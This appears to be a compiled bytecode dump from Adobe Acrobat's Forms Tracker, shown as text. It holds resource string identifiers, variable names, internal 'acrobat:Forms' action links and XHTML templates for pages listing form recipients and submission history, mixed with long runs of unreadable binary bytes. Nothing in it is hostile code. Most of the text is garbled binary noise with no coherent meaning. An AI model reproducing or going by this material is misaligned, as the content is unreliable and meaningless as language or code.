EVIEW_SENT_USING_SERVER
cSentUsing"IDS_FORMS_TRACKER_EMAIL_ATTACHMENTcEmailAttachmentIDS_FORMS_TRACKER_RESPONDED_NOcRespondedNoIDS_FORMS_TRACKER_RESPONDED_YES
cRespondedYesIDS_FORMS_TRACKER_RESPONDED_NAcRespondedNA'IDS_FORMS_TRACKER_NO_SUBMISSION_HISTORYcNoSubmissionHistoryIDS_SHAREDWF_ANONYMOUS_USERcAnonymousUser($IDS_FORMS_TRACKER_EDIT_FILE_LOCATION)cEditFileLocation%IDS_FORMS_TRACKER_NUM_NEW_FORMS_RECVD cNewFormsReceivedSinceLastViewed IDS_TRACKER_NO_DISTRIBUTED_FORMScNoDistributedFormsIDS_TRACKER_NO_RECEIVED_FORMScNoReceivedFormsIDS_TRACKER_NO_FORMS_IN_FOLDERcNoFormsInFolderIDS_WORKFLOW_STATE_INPROGRESSActiveIDS_SHAREDWF_WORKFLOW_HAS_ENDEDEndedIDS_WORKFLOW_STATE_SUSPENDED	SuspendedIDS_WORKFLOW_STATE_CORRUPTED	CorruptedoWorkflowState&IDS_TRACKER_UBER_TABLE_HEADER_FILENAMEcTableHeaderFileName*IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDENTScTableHeaderRespondentsAndNew/IDS_FORMS_TRACKER_TABLE_HEADER_TOTAL_RECIPIENTScTableHeaderTotalRecipients-IDS_FORMS_TRACKER_TABLE_HEADER_DISTRIBUTED_ONcTableHeaderDistributedOn7IDS_FORMS_TRACKER_TABLE_HEADER_LAST_DATE_TIME_SUBMITTEDcTableHeaderLastSubmittedOn5IDS_FORMS_TRACKER_TABLE_HEADER_NUM_RESPONSES_RECEIVED%cTableHeaderNumberOfResponsesReceivedIDS_TABLE_HEADER_EMAILcTableHeaderEmail"IDS_FORMS_TRACKER_TABLE_HEADER_NEWcTableHeaderNew(IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDEDcTableHeaderRespondedIDS_TABLE_HEADER_STATUScTableHeaderStatus-IDS_FORMS_TRACKER_TABLE_HEADER_RECIPIENT_NAMEcTableHeaderRecipientName6IDS_FORMS_TRACKER_TABLE_HEADER_LAST_RESPONSE_DATE_TIME cTableHeaderLastResponseDateTime%IDS_FORMS_TRACKER_TABLE_HEADER_UNREADcTableHeaderUnread,IDS_FORMS_TRACKER_TABLE_HEADER_NUM_RESPONSEScTableHeaderNumberOfResponses2IDS_FORMS_TRACKER_TABLE_HEADER_SUBMITTED_DATE_TIMEcTableHeaderSubmittedDateTimeIDS_TABLE_HEADER_TITLEcTableHeaderTitleIDS_TABLE_HEADER_REVIEWER_TYPEcTableHeaderReviewerType(IDS_FORMS_TRACKER_DEF_LIST_FORM_LOCATIONcDefListFormLocationProp-IDS_FORMS_TRACKER_DEF_LIST_RESPONSES_LOCATIONcDefListResponsesLocationPropIDS_DEFINITION_LIST_STATUScDefListStatusPropIDS_DEFINITION_LIST_ERRORcDefListErrorProp$IDS_FORMS_TRACKER_DEF_LIST_FORM_HOSTcDefListFormHostProp IDS_DEFINITION_LIST_ACCESS_LEVELcDefListAccessLevelProp)IDS_FORMS_TRACKER_DEF_LIST_DISTRIBUTED_ONcDefListDistributedOnPropIDS_DEFINITION_LIST_RECEIVED_ONcDefListReceivedOnProp&IDS_FORMS_TRACKER_DEF_LIST_LAST_OPENEDcDefListLastOpenedOnPropIDS_DEFINITION_LIST_DEADLINEcDefListDeadlineProp1IDS_FORMS_TRACKER_DEF_LIST_TOTAL_NUM_OF_RESPONSES"cDefListTotalNumberOfResponsesProp2IDS_FORMS_TRACKER_DEF_LIST_TOTAL_NUM_OF_RECIPIENTScDefListTotalRecipientsProp*IDS_FORMS_TRACKER_DEF_RECIPIENTS_RESPONDEDcDefListRecipientsRespondedProp.IDS_FORMS_TRACKER_DEF_RECIPIENTS_NOT_RESPONDED"cDefListRecipientsNotRespondedProp%IDS_FORMS_TRACKER_END_DATA_COLLECTIONcEndDataCollection$IDS_FORMS_TRACKER_OPEN_ORIGINAL_FORMcOpenOriginalForm"IDS_FORMS_TRACKER_REMOVE_RESPONSEScRemoveResponsesFromTracker*IDS_FORMS_TRACKER_REMOVE_FORM_FROM_TRACKERcRemoveFormFromTrackerIDS_FORMS_TRACKER_INVITEcAddRecipients"IDS_TRACKER_ACTION_EMAIL_INITIATORcEmailInitiatorIDS_FORMS_TRACKER_EMAIL_ALLcEmailAllRecipients'IDS_FORMS_TRACKER_EMAIL_NON_RESPONDENTScEmailNonRespondentsinitcFormWorkflowIDoFormWorkflowInfocurrentFormWorkflowaFormWorkflowInfocurrentFormWorkflowsInFeedshowMyFormsItemViewshowSubmittedFormsItemViewshowItemViewshowMyFormsFeedViewshowSubmittedFormsFeedViewshowFeedViewonSelectionChanged
handleLinkPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv������dialog%gCg���	�����a"�a��	��dialogfeedLLINK	selection	extensionoptions
bShownFromFIWoptArrindex	singleOptsingleOptArrcFormWorkflowIDformsWorkflowInfocFormWorkflowMethod
bIsSharedFormcVisibleSharedFormaRecipientsoRecipients
nRespondednTotalResponsesicFormWorkflowResponsesNamecViewResponsesLinkcFormWorkflowOpenLinkcFormWorkflowFilePathcResponsesFilePathcChangeResponsesLocationPathcFormWorkflowHostcDistributedOncSentRecvdUsingServercFormWorkflowStatebIsFormSuspendedbIsFormCorruptedcClickHerePostStringcClickHereLinkcHowDoIFixThisLinkcVisibleClickHerePartcVisibleHowDoIFixThiscFormWorkflowsFileStatecVisibleStatuscFormWorkflowError
cVisibleErrornTotalRecipientscTotalRecipientscTotalResponses
cNewResponses cNewFormsReceivedSinceLastViewed'cVisibleNewFormsReceivedSinceLastViewedcVisibleNoneSinceLastViewed
nNewResponses
nNotRespondedcRecipientsRespondedcRecipientsNotRespondedoAccessLevelcAccessLevelcVisibleAccessLevel*cVisibleDataCollectionEndedSinceLastViewed#cDataCollectionEndedSinceLastViewednNumNewFormsReceivedbDataCollectionEndedcEmailAllRecipientsLinkcEmailNonRespondentsLinkcAddRecipientsLinkcRemoveResponsesFromTrackerLinkcEndDataCollectionLinkcVisibleEndDataCollectionLinkcPDFIconForFormcDistributionMethodcVisibleAddRecipients#cVisibleEmailRecipientsNotRespondedcVisibleRecipientsNotRespondedgroupcTopArrowXHTML
cSentRecvdcSentRecvdLink	cFormName
cGroupLink	viewXHTMLviewResponsesXHTML
topContentxhtmlbrXHTMLbody
tableXHTMLisRecipientLessercurrentcurValtrav
evenOddRowrecipientIndexcurRecipient	cRowColor
cRespondedcRedOrBlackrecipientXHTMLstmreplacedString	arguments;h���o	�d����Q�������Q������Q������
�:�����Q�����5�����Q;�
�:Q������
�:�����Q;�
�:Q>�	����Q�����;������
�=�:�
����Q>�����Q�m�
���������7�����Q������
�=	�:�
����Q�
����>7x=
y
z�
����?7�	����Q�����#?�����QQ�������
��������W����������7�����QA55
�����bA5�����6
Q;�
�:QA5;�
������:6Q;�
�:QA55�����Q����������7�����Q�����=�����Q�����=
=�����QZ\�����Q�����5�����Q>�����Q>�����Q�����K�mM�����Q�����������Y����������75]����������75]=�����=9�����������75�:]����������75]����������75] �����(=����������75!
=]"=����������75#]$\8Q���������������75#�����Q����������75#>�����#?�����QQ�L���[N�����5%�����Q������=&�='������:�����Q������=&�=(������:�����Q�����5)�����Q�����5*�����Q������=&�=+������:�����Q�����5,�����Q�����5-�����QA5.� ����Q� �����/
�=0������:� ����Q�����8� �����/
�=1������:� ����Q0� �����/
�=1�A52�:� ����Q�����53�!����QB�"����Q�����"�!�����*�����"����QB�#����Q�����"�!�����+�����#����Q=�$����Q=�%����Q=�&����Q=�'����Q=�(����Q�"����B=4������%����QA55�$����Q=�'����Q1�#����#=6�&����Q=�(����Q�����57�)����Q�����=
=�*����Q=�+����Q����������58�+����Q����� DQ�+����==
=�,����Q�+����=A59�+����Q�����5:�-����Q=�-�����.����Q=�����5#�/����Q=�0����Q=�1����Q=�2����Q=�3����Q������=�����5!�0����Q�����5!>f=�3����Q=�2����QA5;�1����Q�1�����/
�=<�����5!�:�1����Q����������5!>�4����Q�-����������5����Q�6����Q�����5=#=������6����Q=������6����Q�����.�6����=>�4����=?�6����Q=�5�����7����QY;@5A]B;@5C]D\�8����Q=�9����Q=�:����Q�����r�����5E�9����Q�9����=BDQ�9����=D1�8�����9����7�9����Q=�:����Q=�;����Q=�<����Q>�=����Q����������5!�=����Q�)�����)����DQ�!�����)����CB�>����Q������=&�=F������:�?����Q������=&�=G������:�@����Q������=&�=H������:�A����Q������=&�=I������:�B����Q������=&�=J������:�C����Q=K�D����Q�����#�>���� =�D����Q�����EQ�>����=L
=M�E����Q�����5N�F����Q=�G����Q�F����=OE Q����� DQ�>���� =�G����Q=�H����Q�����5==�H����Q=�I����Q�����5==�I����Q;P�Q
�YB]R\�:Q������"����7�J����Q@�K����Q�����5S�
����A5TA5U�L����Q�����5S�
����������
�����M����Q�����5%�N����Q�J����;��=V�=W=X=Y�=Z�=[����������=\�A5]�=^=_�=W=X=Y�=Z�=[���M�������=\��L�����=^=_��N�����=`��K����Q=a�O����Q�=V�=W=X=Y�=Z�=[����������=\�A5]�=^=_�=W=X=Y�=Z�=[���M�������=\��L�����=^=_�=W=X=Y�=Z�=[���O�������=b�=\��J�����=^=_��N�����=`��K����Q�=c�=d�=e�=f�=g�=h�=i�=j�A5k�=l=m=n�=o�������=p�A59��=W=X=[����������=\�=q�A5r�=l=^=s=t=u�=W=v=w���*�������=\=n�=i�=j�A5x�=l=m=n�=o�=j�A5y�!����7�=p�=W=z=w���(�������=\�=W=X=w�={�=[���&�������=\=|�A5}�=~=l=p�=W=z=w���'�������=\=|�A5�=p�=W=X=w�={�=[���%�������=\�A5��=^=p��$�����=�=l=s=t=u�=W=v=w���,�������=\=n�=i�A59�=m=n�=��=���+�����=l=s=t=u�=h�=i�=j�A5��=l=m=n�=o�=j�� �����=l=s=t=u�=W=v=w���:�������=\=n�=i�=j�A5��=l=m=n�=o�=j��9�����=l=s=t=�=�=��=��=W=X=w���D�������=[���C�������=��=\�=q�A5��=l=^=��=W=X=[����������=��=\�=q�A5��=l=^=�=��=��A59�=�=��=��=��A5��=l=�=��=f�=g�=h�=i�=j�A5��=l=m=n�=o�=j��6�����=l=s=t=u�=W=v=w���I�������=\=n�=i�=j�A5��=l=m=n�=o�=j��7�����=l=s=t=u�=h�=i�=j�A5��=l=m=n�=o�=j��.�����=l=s=t=�=�=��=��=W=X=[���?�������=��=\�=q�A5��=l=^=��=W=X=w���G�������=[���A�������=��=\�=q�A5��=l=^=��=W=X=w���H�������=[���@�������=��=\�=q�A5��=l=^=�=�=��=��=��=W=v=�����������=\=��=i�A5��=m=��=i�A5��=m=��=i�=��A5��=�=m=��=i�=��A5��=�=m=�=�=�=�=���P����Q�Q����Q�	������=��=��=W=X=Y���E�������=�����������=[����������=\�=��A5��=l=^=��=��A5��=l=�=���Q����Q��=��=W=X=Y���E�������=�����������=[����������=\�=��A5��=l=^=`��Q����Q@�R����Q;��=��R�S����Q�P�����S�������KDmM�����Q��������7=�������R����Q
�L����N�R������
�Q�����:Q�=���T����Q�R������
�T�����:Q@�U����Q;��=��R�S����Q�P�����S�����­KDmM�����Q��������7=�������U����Q
�L����N�U������
�K�����:Q@�V����Q;��=��R�S����Q�P�����S�����íKDmM�����Q��������7=�������V����Q
�L����N��W����Q?�X����Qm������X����7�Y����Q�X����?�Z����Q�m�W����������Z����7�Y�����:3������Z����?������Z����78Q
/�Z����#?�Z����QQ��Z����>���v�Z����?�X����$������Z����?�Y����8Q�X����#?�X����QQ��X��������������B�[����Q>�\����Q�m������\����7�]����Q�[���� �[����Q�[���������������^����QA5Ŋ_����Q=Ɗ`����Q�����5=EQ�]����5A5�)=�`����QA5Ȋ_����QT�]����5$>?=�`����QA5�=>�]����5$=?�_����Q�=W=v=����^�������=\=��=��]����5�=s=��=o�=W=X=[���]����5���=\�=q��]����5�=l=^=s=��=o�=��=W=z=Y���`�������=\��_�����=l=�=s=��=o�=���]����5�=�=s=���a����Q�V������
�a�����:Q�\����#?�\����QQ��\�������������I;���
�P������
�:�/
��=��:�=��:�b����Q�P������
�:�/
��=��:�c����Q;�
�:Q;���
�c�����:Q;�
�:Q�������
�Y�b����]�\�:Q��v�Q;���
�=و�:Q;���
�5��:Q��=و�:Q��5��:Q��ė���ϐϐ��ސؐ���
ѐސ�
ѐ�ː����䐈� ��|��������Ӑݐ䐐�`*��mʐ�ՐP���҈5ؘ��ܘ��҈ߘ���ݐ�����Ր��ѐ�搈ѐ��Ր�ݐِ�
ސ�ϐ�ؐ�ːː��0��ѐ����א�ݐݐ��ݐݐ�#�昀���pː����ᐐ�ؐ��ؐؐؐ�ؐ�А���3��󐐈됐ؐ�ː���ݐ�ː���ݐ�ϐϐϐϐϐ�=���ِ�А�Ԑ�����ϐ�ϐ��ؐ���
ސ�ϐ���ؐ���
ސ����А�ِؐސϐϐϐϐ����ސ����ϐ�ϐ�А�󘀄^��ݐ�ʐ���ސ��ِ����pːِ����ϐڐ��ϐϐ����ؐ�����ݐ�Ϙ��ϐϐ��ː���ؐ�֐�����ϐ�������ϐ���
ސ�ؐ��ϐՈ0Ј���ϐ�ϐ���ϐ�ϐ���ϐ��
ސ�ݐ�ː���搐ؐ������������ߐ֘����ϐ�������ѐ������Ǖ�����������͐�������͐�ܐ�͐���͐��搗�͐����ɐ����֐����֐͐������͐���͐��搗�͐���ϐ��ܐ���͐����ܐܐ�㐗����ѐ�ʐ���������������鐐�֐���2֐��������ј��=ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ��J�
ߐ�ѐ��
ߐ��ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ��^�
ߐ��ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ��oϘ����� ���8����������ݐ��Ր ��j�������������.��
@�����ؘ��������Ҙ������ߘ����=ؘ��������ߘ���ː���� ��������������ݐ����
Ԑ�搐Аϐ�$����ϐ�Ր�����ϐ�됐�����ِ�ѐ�ߘ����Kؘ��������&ߘ����͐���ѐ�ې�ѐ�
�x��А��
ᐈ
�
ߐ�
ހ{��
getSelection	Extensionapp	beginPriv
getOptionsendPriv	undefinedsplit,:
landedFromFIWlengthcurrentFormWorkflowcFormWorkflowIDoFormWorkflowInfoFormWorkflowgetFormWorkflowInfo
SharedFormdisplay: none;oRecipientscNamecRecipientNamecEmailcRecipientEmail)acrobat:Forms?action=selectData&workflow=&recipient=encodeURIComponentcRecipientResponseFileLinkcLastResponseDateTimecRecipientLastResponseDateTimenLastResponseDateTimenRecipientLastResponseDateTime
nNewResponsescRecipientUnreadResponses
nResponsescRecipientTotalResponsesTitleacrobat$Forms?action=openResponses&workflow=Forms?action=openForm&workflow=
cFormLocationcResponsesLocation.Forms?action=changeResponsesLocation&workflow=	cFormHostcDistributedOn
cSentUsingreplace%dateTimeSentRecvd%%serverName%cEmailAttachmentcState&acrobat:Forms?action=restart&workflow=cToResumeActive+acrobat:Review?showHelpForCorruptedWorkflowcStateAsPerWorkflowsFilecErrornbsp_placeholdernRecipients cNewFormsReceivedSinceLastViewed%num%bAllowAnonymous ()AnnotsString+IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS_FD
NonRestricted,IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS_FD
RestrictedcAccessLevelForms?action=emailAll&workflow=*Forms?action=emailNonRespondents&workflow=Forms?action=invite&workflow=Forms?action=delete&workflow=Forms?action=end&workflow=display:noneended-iconic
pdf-iconiccDistributionMethodManualXMLsetSettingsignoreCommentsURLcIveSentcIveReceived'<div class="bread_crumb">
									    <aclassblueLinkhref>cFormsSuperGroup</a> > 
								    </div>acrobat:Inbox?gotoLevel=1style="unicode-bidi: embed;"<html xmlns="http://www.w3.org/1999/xhtml">
								    <head>
									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								    </head>

								    <body id="body">
									    a<div id="pg_distributed_details" style="margin-left: 35px;">

									    	<br/>

										    -<div style="margin-left: -6px;">
												6<table class="definitionListTableLarge">
													<tr>
														<th><span class="dontWrap">cDefListResponsesLocationProp</span></th>
														<td> <span class="blueLink">cEditFileLocation</td>
													</tr>
													trstylecDefListStatusPropoWorkflowStatespancolor:blue;(cHowDoIFixThis)</a>cClickcHere)</span>[<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif"/><span style="color:red;">cDefListDistributedOnPropcDefListAccessLevelProp
												</table>
										    </div>

										    %<div class="buttons">
											    #class="stop-data-collection-iconic"cEndDataCollection
											    !class="open-original-form-iconic"cOpenOriginalForm@
    									
										    <br/>
    										
										    <div class="dottedLine"></div>3

										    <br/>
    										
										    G<span class="responses-iconic" style="font-weight:bold; font-size:12;">cResponsesLabel
    	
										    cDefListRecipientsRespondedProp"cDefListRecipientsNotRespondedPropcDefListTotalRecipientsPropclass="email-all-iconic"cEmailAllRecipientsclass="add-reviewer-iconic"cAddRecipients+class="email-recipients-not-respond-iconic"cEmailNonRespondents4
											
										    <br/>
									    </div>

										2<div class="borderedDivDetailPage">
										    a<table id="recipientList" class="borderedTable" cellpadding="15" cellspacing="0">
											    bgcolor
												    cTableHeaderEmailcTableHeaderRecipientName<center>cTableHeaderResponded	</center> cTableHeaderLastResponseDateTime
											    </tr>
										    </table>
									    </div> 
    							
								    </body>
							    </html>�<div class="roundcont">
									    <div class="roundtop">
										    <img src="AdobeTracker/tl.gif" alt="" width="15" height="15" class="corner" style="display: none"/>
									    </div>

									    /<div style="margin-left: 15px;">
										    titleA<span class="blueLink" style="font-weight: bold; font-size: 12;">cViewResponsesLabel7
										    <br/>
										    <br/>
										    A<span style="margin-left: 30px; font-weight:bold; color: black;">cDistributionMessage�

									    <div class="roundbottom">
										    <img src="AdobeTracker/bl.gif" alt="" width="15" height="5" class="corner" style="display: none"/>
									    </div>
								    </div>#<div class="buttons">
									    Y<span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">	Namespacehttp://www.w3.org/1999/xhtmldividpg_distributed_detailsprependChild<br/>bodytable
recipientListcRespondedNoredcAnonymousUsercRespondedNA
cRespondedYes
									     <td style="padding-left: 10px;">
								    </tr>appendChildutilstreamFromStringtoXMLString&nbsp;utf-8CollabsaveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stack������s�h�h��������T�:ˆ ӈ������schemes�h�hƒT=T�
Έ:�����q�"

recipient1
recipient2emailID1emailID2ijX�o�T5T5?XT5T5@T5�
�:WQT5�
�:WQVV>��������;���אא��͐�����	nRecipientLastResponseDateTimecRecipientEmailtoLowerCase����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER\!��a8���GOGtG���������4��4��%�dialogfeedLLINK	selection	extensioncFormWorkflowIDformsWorkflowInfocFormWorkflowMethod
bIsSharedFormcVisibleSharedFormaSubmissionsoSubmissions
oSubmitStatusicFormWorkflowFileName
cViewFormLinkcFormWorkflowFilePathbFormWorkflowIsSuspendedcFormWorkflowStatecVisibleResumecFormWorkflowResumeLinkcFormWorkflowsFileStatebDataCollectionEndedcPDFIconForFormcFormWorkflowError
cVisibleErrorcFormWorkflowHostcReceivedOncSentRecvdUsingServer
cLastOpenedOncEmailInitiatorLinkgroupcTopArrowXHTML
cSentRecvdcSentRecvdLink	cFormName
cGroupLinkcVisibleSubmissionHistoryTablecVisibleNoSubmissionHistory	viewXHTMLbodyxhtml
tableXHTMLcurrentcurValtrav
evenOddRowindex	curSubmit	cRowColorrecipientXHTMLstm	arguments���΅@	�7����Q�������Q������Q������
�:�����Q�����5�����Q����������7�����QA55�����bA5�����6Q;�
�:QA5;�
������:6Q;�	
�:QA55�	����Q����������7�
����Q�
����=
�����Q�����=
=�����QZ\�
����Q�	����5
�����QY������=�:]������=�:]������=�:]\�����Q>�����Q�m�
�����
�����Y����������75]����������75]���������������757]\8Q�����#?�����QQ���������������M�����5�����Q������=�=������:�����Q�	����5�����QB�����QA5�	����57�����Q�����@�	����5�����Q�����A55�����Q�����B=
=�����Q������=�= ������:�����Q�	����5!�����Q������)����DQ������)����CB�����Q�����EQ�����="
=#�����Q=�����Q������	����5$�����Q����� DQ�����==
=�����Q�����=A5%�����Q�	����5&�����Q�	����5'�����QA5(�����Q������)
�=*������:�����Q�����8������)
�=+������:�����Q0������)
�=+�A5,�:�����Q�	����5-� ����Q������=�=.������:�!����Q;/�0
�YB]1\�:Q������"����7�"����Q�#����Q�����52�
����A53A54�$����Q�����52�
����������
�����%����Q�����5�&����Q�"����;5��=6�=7=8=9�=:�=;����������=<�A5=�=>=?�=7=8=9�=:�=;���%�������=<��$�����=>=?��&�����=@��#����Q=A�'����Q�=6�=7=8=9�=:�=;����������=<�A5=�=>=?�=7=8=9�=:�=;���%�������=<��$�����=>=?�=7=8=9�=:�=;���'�������=B�=<��"�����=>=?��&�����=@��#����Q�
�����>=
=�(����Q�
�����>=C
=D�)����Q�=E�=F�=G�=H�=7=8=I����������=;����������=9����������=<�=J�A5K�=L=>=M=N�=O�=P�=Q�=R�=S�A5T�=L=U=V�=W�=7=8=X�=Y�=;����������=<�������=>=Z=[=\�=7=]=X����������=<=V�=R�A5%�=U=V�=^�=_�������=L=Z=[=\�=Q�=R�=S�A5`�=L=U=V�=W�=S�������=L=Z=[=\�=Q�=R�=S�A5a�=L=U=V�=W�=S�� �����=L=Z=[=b=M=c�=d�A5%�=e=f�=H�=g�A5h�=L=M=i�=H�=7=8=X�=Y�=;���!�������=j�=<�=k�A5l�=L=>=M=m=n�=o�=7=p=X���(�������=q�=<=r�=7=]=s����������=<=t�=R�A5u�=U=t�=7=v=X����������=<�A5w�=U=x=y=z�=7={=X���)�������=<=r�A5|�=}=~==���*����Q@�+����Q;��=��R�,����Q�*�����,�������KDmM�����Q��������7=�������+����Q
�L����N�+������
�#�����:Q@�-����Q;��=��R�,����Q�*�����,�����p�KDmM�����Q��������7=�������-����Q
�L����N?�.����Qm�
�����.����7�/����Q�.����?�0����Q}m�
�����0����75�/����53�
�����0����?�
�����0����78Q
/�0����#?�0����QQ��0����>���{�0����?�.����$�
�����0����?�/����8Q�.����#?�.����QQ��.�����
���������B�1����Q>�2����Q:m�
�����2����7�3����Q�1���� �1����Q�1���������������4����Q�=7=]=s���4�������=<=��=���3����5�=Z=��=7=�=X����������=<��3����5�=Z=���5����Q�-������
�5�����:Q�2����#?�2����QQ��2�����
���������;���
�*������
�:�)
��=��:�=��:�6����Q;�
�:Q;���
�*������
�:�)
��=��:�:Q;�	
�:Q�������
�Y�6����]�\�:Q��v�Q;���
�=���:Q;���
�5��:Q��=���:Q��5��:Q��ė���ϐϐ��ސؐ�ݐ�����Ր��ѐ�搈ѐ��Ր�ݐِ�
ސ�ϐ�ؐ����ِِ䐐��� �������������������א�ݐݐꘀ���2ؘ��������ߘ��ؐؐ�ːߐ����ؐ���Ր��
ސؐ��֐��
ސ�ϐ���ؐ���
ސ����А�ؐؐ�А���3��󐐈됐ؐ��
ސ�ݐ�ʐ���搐ؐ������������ߐ֘��C�ϐ�������ѐ���
ސ�
ސ�����S�������鐗�������Ґ͐�ܐ�͐���͐��搗�͐�֐����֐������Ր���͐����ܐ���͐��Ȑ����ѐ��ː�ڐ�0Gѐ�Ɉ�����Ӑ@Θ����
ߐ��ː�ڐ�0Gѐ�Ɉ�����Ӑ@Θ����� ���3����������ݐ��Ր }e�������������.��
@�����ؘ��˜����Ҙ������ߘ����>ؘ��Ƙ����ߘ���ː���� �:�"�T������ΐݐ����
Ԑ�搐����ѐ�ߘ��͈:ؘ��ژ��͈ߘ���͐�ѐ����ѐ�
�x��А��
ᐈ
�
ߐ�
ހ{��
getSelection	ExtensioncurrentFormWorkflowcFormWorkflowIDapp	beginPrivoFormWorkflowInfoFormWorkflowgetFormWorkflowInfoendPriv
SharedFormdisplay: none;oSubmissions#IDS_FORMS_TRACKER_STATUS_SUCCESSFUL
Successful IDS_FORMS_TRACKER_STATUS_PENDINGPendingIDS_FORMS_TRACKER_STATUS_FAILEDFailedlengthcSubmitDateTimenSubmitDateTimecStatusTitleacrobatForms?action=openForm&workflow=
cFormLocationoWorkflowStatecStatebIsSuspended	SuspendedForms?action=restart&workflow=cStateAsPerWorkflowsFileended-iconic
pdf-iconiccErrornbsp_placeholder	cFormHostcReceivedOn
cSentUsingreplace%dateTimeSentRecvd%%serverName%cEmailAttachment
cLastOpenedOn%Forms?action=emailInitiator&workflow=XMLsetSettingsignoreCommentsURLcIveSentcIveReceived	undefined'<div class="bread_crumb">
									    <aclassblueLinkhref>cFormsSuperGroup</a> > 
								    </div>acrobat:Inbox?gotoLevel=1style="unicode-bidi: embed;"margin-left: 5px; display: none; margin-left: 5px;<html xmlns="http://www.w3.org/1999/xhtml">
								    <head>
									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								    </head>
    							
								    <body id="body">
									    X<div id="pg_sent_details" style="margin-left: 35px;">
										    <br/>
										    %<div class="buttons">
											    titleY<span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">cViewFormButtonLabel</span>
										    </div>3
										    
										    <br/>

										    -<div style="margin-left: -6px;">
												6<table class="definitionListTableSmall">
													<tr>
														<th><span class="dontWrap">cDefListFormLocationProp</th>
														<td>stylecolor:#0000FF;</td>
													</tr>
													tr[<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif"/><span style="color:red;">cDefListReceivedOnPropcDefListLastOpenedOnProp
												</table>
    									
										    <div class="dottedLine"></div>'
	
										    <br/>
	
										    P<span class="submission-history-iconic" style="font-weight:bold; font-size:12;">cSubmissionHistoryLabel&
	
										    <br/>

										    class="email-initiator-iconic"<span class="blueLink">cEmailInitiator7
    										
										    <br/>
									    </div>

										2<div class="borderedDivDetailPage">
										    tableIid="submitHistory" class="borderedTable" cellpadding="15" cellspacing="0"
											    bgcolor
												    cTableHeaderSubmittedDateTimethcTableHeaderStatus
											    </tr>
										    </table>

										    divcNoSubmissionHistory<br/>
										    </div>
									    </div> 
    							
								    </body>
							    </html>	Namespacehttp://www.w3.org/1999/xhtmlbodyidprependChild
submitHistory
									     <td style="padding-left: 10px;">td
								    </tr>appendChildutilstreamFromStringtoXMLString&nbsp;utf-8CollabsaveTrackerHTMLloadhtmlconsoleprintlnEXCEPTION: stack������sk���҅������T�:ˆ ӈ������schemes����ӅT=T�
Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER*�T�3��WG�
G���������	5dialogfeed	selection	extensionisInitiated������T�
�:WQT�
�:WQV5WQV�����7WQVA�
�T�V�:QA�
�T�V�:Q~�vWQ;�
�=V�:Q;�
�V5�:Q��=V�:Q��V5�:Q����Ґ��Ґ̐ѐ���ڐ���x��ʐ��
ې�
ڐ�
ِ�
؀{��
getFeedgetSelection	ExtensionshowMyFormsItemViewshowSubmittedFormsItemViewconsoleprintlnEXCEPTION: stack����e}�����"��"n�	�dialogfeedLINK	extensionitemsgroupiaFormsWorkflowListitemdocIDformsWorkflowInfo
bIsSharedForm
nRespondedoRecipientsnTotalResponses
nNewResponsescRecipientsResponded
cSentRecvdcSentRecvdLinkcNoFormsInFeed	viewXHTMLcTopArrowXHTMLbodyxhtmlborderedDiv
tableXHTMLcurrentcurValtrav
evenOddRow	formIndexcurForm	cRowColor	formXHTMLstm	arguments����.	�%����Q�������Q�����5�����Q�����5�����Q�����Q;�
�YB]\�:Q������
�:)������
�=�:�����QA55	f>�����Q5mA55	�����@8Q�����#?�����QQ������A55	�
����A5;�R6	QZ\�	����Q�����K�mM�����Q����������7�
����Q�
����5�����7�����Q�
����5�'����7
K�����;E(Q�
����5�"����7�����

@�����Q;
�
�:Q;�
������:�����Q;
�
�:Q�����@
�A55	�
������:Q�
����5�����7=�
����Q>�����Q�����5�����Q>�����Q�����KtmM�����Q����������75>I���������������75�����Q�����#?�����QQ�L����N�
���������5>�����Q�����Q�����5#=����������Q=����������Q�
����.�����=�����=�����Q�	�����	�����
Y�
����5]������=�=�	����=�����5 =!�
����5"�:]#�
����5�����7]$�����5%]%�����5&]&�����]'�����5(](\8Q�L���JN�����5 �
����A5)A5*�����Q�����5 �
����������
���������Q�����Q�����A5+�����Q=�����5 �
����A5,A5-�����Q�����Q�	�����
>��=.�=/�=0�=1�=2�������=3=3=4�=5�������=6=7=8=9������Qi�=.�=/�=:�=;�=1�=2�������=3=3=<===8=9������Q�����Q�����;u�=>�=?=@=A����������=B�=C�A5D�=3=E=F�������=G������Q��=>�=?=@=A����������=B�=C�A5D�=3=E=F�=?=@=A����������=B�=C�������=3=E=F�������=G������Q@�����Q;H�=I�R�����Q�����������J�KDmM�����Q������K�7=J����������Q
�L����N������L
������:Q�	�����
>�@�����Q;H�=I�R�����Q�����������M�KDmM�����Q������K�7=N����������Q
�L����N�=O�=?=P=Q����������=B=R�=S�A5T�=U=R�=V�A5W�=U=R�=V�=X�A5Y�=Z=U=R�=V�=X�A5[�=Z=U=\=]������Q������^
������:Q?�����Qm�	���������7�����Q�����?�����Q}m�	���������75&�����5&3�	���������?�	���������78Q
/�����#?�����QQ������>���{�����?�����$�	���������?�����8Q�����#?�����QQ�������	�����
����B�����Q>� ����Q�m�	����� ����7�!����Q����� �����Q����������������"����Q�=?=P=Q���"�������=B=R�=_�=?=@=A���!����5#���=B�=C��!����5�=3=E=`=R�=a��!����5%�=`=R�=a�=X��!����5'�=Z=`=R�=a�=X��!����5(�=Z=`=\��#����Q������^
�#�����:Q� ����#?� ����QQ�� �����	�����
���0;b�c
������d
�:�e
��=f�:�=g�:�$����Q������h
�Y�$����]i\�:Q��v�Q;j�k
�=l��:Q;j�k
